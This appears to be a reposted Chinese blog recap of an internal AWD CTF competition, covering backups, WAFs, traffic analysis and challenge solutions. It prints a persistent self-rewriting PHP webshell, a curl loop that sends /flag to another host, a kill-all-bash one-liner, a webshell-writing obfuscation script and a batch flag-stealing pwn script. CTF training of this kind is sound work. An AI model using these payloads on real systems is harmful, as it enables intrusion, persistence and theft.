EDI内部赛赛后总结

admin 2022年6月17日12:59:40CTF专场评论3 views6388字阅读21分17秒阅读模式

点击蓝字 ·  关注我们

00

前言

⼩菜菜的AWD初体验,真的学习到了很多新知识。我感觉在EDI学到的⽐在学校学到的多的多哈哈哈哈,感谢各位师傅!(不仅是AWD) EDI内部赛安排:赛前有⼀次简单的赛前测试+赛前知识分享 记录⼀下整个AWD⼀天初体验的流程(害,真的是新⼿,初体验 ! )

01

知识储备

1

看了⼀下《从0到1CTFer成⻓之路》中的AWD章节,这部分章节内容少,针对参赛经验少或者从未参赛的读者,分为 四个部分:赛前准备、⽐赛技巧、流量分析、漏洞修复四个⽅⾯进⾏讲解。

2

网络

https://edwardchoijc.github.io/CTF线下AWD经验总结.html 这位师傅总结了⼀部分,这篇⽂章是2017年的,虽然⽐较久远,但是对于新⼿还是⾮常⾹的。

EDI内部赛赛后总结


02

赛前测试

因为⾃⼰是Mac,没有Windows Xshell的⽂件上传下载⽅便,平常都是iterm2进⾏远程,⽂件就scp或者⾃⼰服务器端 ⽤lz,苏安师傅推荐了FinalShell,⽂件上传下载确实舒服很多,其他功能感受也很好,推荐。

1

备份

⽹站的路径在/var/www/html (注意要在可写的路径下) 测试发现数据库的账号密码均为root。

tar cvf <name>.tar /var/www/* mysqldump -uroot -proot <database> < bak.sql

2

上waf(假装赛⽅允许的情况下)

这⼀部分,可以参考Github上的⼀些开源项⽬ 

https://github.com/DasSecurity-HatLab/AoiAWD

但是,在上传的时候我发现了⼀个问题,⽹站⽬录(/var/www/html)⽤户(ctf)不可写的情况。因为第⼀次⻅,做了⼏个 尝试。

EDI内部赛赛后总结


内核提权(没成功) 

suid提权(没成功) 

试了两个之后,换了⼀下思路,毕竟是攻防题⽬,现给⾃⼰上个⻢,然后⽤⻢进⾏上传,这个思路是可⾏的。

3

流量分析

因为是线上的AWD,所以对⽐线下有些地⽅就节省了⼀下,我⼀开始还纠结没有root怎么去使⽤tcpdump。

EDI内部赛赛后总结

因为账号不具有root权限,所以没有办法⾃⾏的使⽤tcpdump进⾏流量抓包,运维直接⽤root权限的账号执⾏脚本⾃动进⾏ 流量抓包存放在了/data/⽬录下。

root 370 367 0 05:37 pts/0 00:00:00 tcpdump -i eth0 dst port 80 -s0 -G 600 -Z root-w /root/data/%Y_%m%d_%H%M_%S.pcap

下载下来直接分析即可。

4

上⻢获取shell

找了⼀个POC直接打,有些线下⽐赛是不能联⽹的,所以漏洞库⼀定要⼤ 

https://cloud.tencent.com/developer/article/1459265

除此之外,还要写批量提交Flag,批量利⽤shell获取Flag的脚本 有些⼈为了不让别⼈⽤⾃⼰的⻢,会在⼀句话前⾯加上⼀个if判断,但是如果能看流量的话,就是没有⽤的。还有就是不死⻢。

<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.config.php';$code ='<?php if(md5($_GET["p"])=="3691308f2a4c2f6983f2880d32e29c84"){@eval($_POST[a]);} ?>';while(1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12".config.php');usleep(1000);}?>

03

赛前知识分享

苏安师傅讲了很多的⼲货

EDI内部赛赛后总结

1

flag位置

⼀般情况在根⽬录/ 

线下赛可能存在flag server⽤⽬标靶机请求flag server地址,获得flag

2

信息搜集

根据拿到的IP地址进⾏推测,例如⾃⼰拿到172.35.2.11:80,其他⼈可能是172.35.1-80.11:80 

要进⾏范围扫描利⽤漏洞,注意线程数(可能有的线下赛会有流量控制导致⼀定数量包之后的包都⽆法被接收)

3

服务发现

netstat -ntlp 

在⼤多数的web和ssh、pwn是端⼝映射,其他题⽬类型有统⼀的平台。

4

Web服务信息获取

修改管理员密码(可能会有平台不让你改密码,这时候你可以上数据库进⾏) 现在的ssh登陆都开始公私钥、或者强密码 

伪静态:出现Not found ,在前⾯加个index.php

5

Pwn服务信息获取

如果遇到原题,libc⽤系统中的

6

安全加固

可以修改密码⽅便队友交流 

备份数据库!导出⾄sql

7

实操注意

1.备份 

拿到源码、使⽤D盾等⼯具进⾏扫描是否有后⻔(真的可能会有!) ‼ 

修改管理员密码(可能会有平台不让你改密码,这时候你可以上数据库进⾏更新) 

不能让⽹站down掉,平台会有check脚本,会扣分让别⼈加分。

2.上waf(假装赛⽅允许的情况下)脚本加固(waf) 

修改web⽬录权限,设置所有⽤户不可写

EDI内部赛赛后总结

8

漏洞修复

重点关注特殊函数和⽤户输⼊

#写⼊对⽅⽬标靶机,不断的交flagwhile true; do curl ip/flag=`cat /flag`;sleep 10;done#杀掉所有的bash进程ps aux | grep bash | awk '{print "kill-9" $2}' | bash#更恶⼼的上cs⻢

9

代码审计

推荐⼯具:

https://github.com/suanve/recode
#要过滤⼀下 recode.py -t php > name.log cat name.log | grep controller | grep -v admin #其实也不⼀定⾮要筛选admin,也可能user前台 cat name.log | grep -v var | grep -E "(call_user_func|eval|assert)"

⼿动审计,要了解常⻅路由的模式

10

pwn的技巧

重放,利⽤流量分析,复制流量

import socketimport timeimport binasciis=socket.socket()s.connect(("192.168.104.1", 10001))prints.recv(1024)data=binascii.a2b_hex("xxxxx")print(data)s.send(data)time.sleep〔1)print(s.recv(1024))s.close()print(data)

04

内部赛环节+部分复现

1

攻击前准备

连接、备份,数据库账号密码root/root

2

phpDevil

队内师傅D盾扫到了出题⼈留下来的俩后⻔

EDI内部赛赛后总结

先给⾃⼰上个⻢,然后把这些后⻔都删掉。这个时候可以开始上WAF和⽂件监控

3

修改管理员密码

发现管理员的弱密码是admin/123456,尝试去修改,使⽤后台上修改密码的⽅式进⾏修改,⽆效,所以就只能进⾏数据库 层⾯上的修改 这⾥没有截图,⼤概猜测是123456硬编码,然后⽤vscode对备份的⽹站⽬录进⾏搜索,发现有md5('123456'),然后 进⼊数据库也发现,密码只经过了md5,换⼀个密码改数据库的值就好了。

update xxx set xxx=xxx where xxx=

通过流量发现了还有⼏个后⻔

EDI内部赛赛后总结

看样⼦像出题⼈留的后⻔,不过这种⽅式放后⻔也没有被发现,学到了

EDI内部赛赛后总结

EDI内部赛赛后总结

4

不死⻢

不知道哪个师傅放了个不死⻢。之前《从0到1》上有两个办法

EDI内部赛赛后总结

**循环kill,搭配while true; do ******sleep 10;done

ps aux | grep www-data | awk '[print $2}' | xargs kill
另⼀个是创建⼀个⽬录同名称,mkdir但是这个⽅法好像没有⽤ 最后还是解决不了这个不死马。

5

内置后⻔

这个是看了出题⼈的wp发现的,呜呼,学到了数组也可以执⾏命令

EDI内部赛赛后总结

附出题师傅还造了个洞

EDI内部赛赛后总结

师傅还写了个模块,spider可以SSRF

EDI内部赛赛后总结

EDI内部赛赛后总结

这题还有本身的洞是后台sql,因为我改了密码,所以这个洞暂时没有办法利⽤。

6

总结

我以前认为AWD是专注于找框架漏洞,但他也会是有后⻔、出题⼈⾃⼰做模块这些操作,这也说明找洞是⼀个考点,但 还有其他编写脚本、迅速防御这些考点,所以出题⼈会⾃⼰做⼀些漏洞模拟真实的⽹站漏洞。(之前在做渗透测试的时候, 确实发现有的⽹站早有前⼈之⻋) 关于获取flag,想到上⾯有讲过curl ip/flag的骚操作,就是不去访问定时让服务器发给⾃⼰

补充苏安师傅的混淆流量主要⽬的是隐藏后⻔,我发现在⽐赛tcpdump过程中,数据包⾥没有回显。

@setrange('127.0.0.1-2:9012',thread_num=100)def mixup(host,port): admin_url = 'http://'+host+':'+port path = "/"+mixupfiles() mixup_header = {} for i in range(1,random.randint(2,5)): mixup_header[mixupstr(i)]=mixup_cmd() payload = admin_url+path data = { mixupstr(6):mixup_cmd(), } # print(payload,mixup_header,data)try: if random.randint(0,1): requests.post(url=payload, data=data, headers=mixup_header, timeout=1) else: requests.get(url=payload+"?{}={}".format(mixupstr(),mixup_cmd()), data=data,headers=mixup_header, timeout=1) except: pass# ⽤于混淆的命令def mixup_cmd(): cmd = [ "passthru('cat /var/www/html/{}.txt')".format(mixupstr(6)), "shell_exec('cat > /var/www/html/public/{}')".format(mixupstr(6)), "system('cat > /var/www/html/app/{}')".format(mixupstr(6)), "system('cat /flag');", "passthru('cat /flag');", "system('ln -s /flag /var/www/html/1.txt');", "echo `cat /flag`;", "var_dump(`cat /flag`);", "system('ln -s /flag /var/www/html/flag.txt');", "include('cat /flag');", "system('ln -s /flag /var/www/html/.jquery.txt');", "readfile('/flag');", "file_get_contents('/flag');", "system('file_put_filecontext('/var/www/html/.1.php','<?php eval($_REQUEST[9]);')');", ] return cmd[random.randint(1,len(cmd))]# ⽤户混淆的⽂件名def mixupfiles(): files = [ "index.php", ".index.php", ".2s.php", "public/1.php", "c/2.php", ".asd.dasdasdasd.php", "index.php.php", ".nu1l.php", ".safeall.php", ".r3start.php", ".edi.php", ".wm.php", ".zxc.php", ".ylb.php", ".r3kapig.php", ".nu1lltwo.php", ".go.php", "-123.php", "-t4rn.php", "-t4rnyyds.php", "-t4.php", "+asd.php" ][files.append(mixupstr(random.randint(1,10))+"."+mixupstr(3)) for i in range(100)] return files[random.randint(1,len(files))]

05

题解

1

elephant

硬编码密码 看db⽂件,很多出题⼈都会把弱⼝令密码硬编码在相关⽂件中,需要去看看。这题不知道伪静态出了什么问题,我访问的时候还是有点奇怪。没有具体的看。

2

ohmymisc

我⼀直看着misc靶机的⽹站,内⼼迷茫,结果misc的题⽬不是在靶机上,我没看到公告。⽐赛过去快两⼩时 我连题⽬都没看到在哪。

EDI内部赛赛后总结

GZIP与Base 

这个题⽬出题是将password不断地gzip再⽤base64/base32随机选择⼀个编码,然后⼀直套。可以先⽤

Cyberchef(https://gchq.github.io/CyberChef/)

看出来发现是个gzip。

EDI内部赛赛后总结

使⽤gunzip

EDI内部赛赛后总结

发现⼀堆的base64,然后再解,接下来就是⽤脚本解除passwd了

EDI内部赛赛后总结

for i in range(20): if data[0:4] == b'H4sI': data = gzip.decompress(base64.b64decode(data))  elif data[0:4] == b'D6FQ': data = gzip.decompress(base64.b32decode(data))  else: print(data)

3

os_pwn

苏安师傅直接给了poc,有点丢⼈了吼。 
技巧:看到别⼈流量重放!

EDI内部赛赛后总结

exp
from pwn import *from down import Downcontext.log_level = 'debug'import randomimport timefor i in range(1,31): p = remote("xxxx",43790+i) p.sendlineafter("$","cp flag tmp/suanve",timeout = 1) p.sendlineafter("$","cat tmp/suanve",timeout = 1) res = p.recvuntil("$") print(res)

然后获取批量获取flag批量交

修pwn需要知道的环境 “你有修的时间都可以批量打下⼀个pwn了” pwn⽂件是可以覆盖的 先将pwn⽂件备份,然后复写修复。

06

简单总结


赛前准备(脚本)、⽐赛技巧(pwn、web出题⼈常⻅的伎俩)、流量分析(主要也是为了利⽤)、漏洞修复(苏安:拿分⽐修洞更重要!) 开⼼的⼀天~有时候也蛮享受菜菜的⼀天~感谢EDI各位师傅陪伴的⼀天!

重点来了

你是否想要加入一个安全团
拥有更好的学习氛围?
那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。
欢迎各位大佬小白入驻,大家一起打CTF,一起进步。    
我们在挖掘,不让你埋没!
你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。
有意向的师傅请联系邮箱[email protected](带上自己的简历,简历内容包括自己的学习方向,学习经历等)

EDI安全

EDI内部赛赛后总结

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):EDI内部赛赛后总结

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月17日12:59:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  EDI内部赛赛后总结 http://cn-sec.com/archives/1124480.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: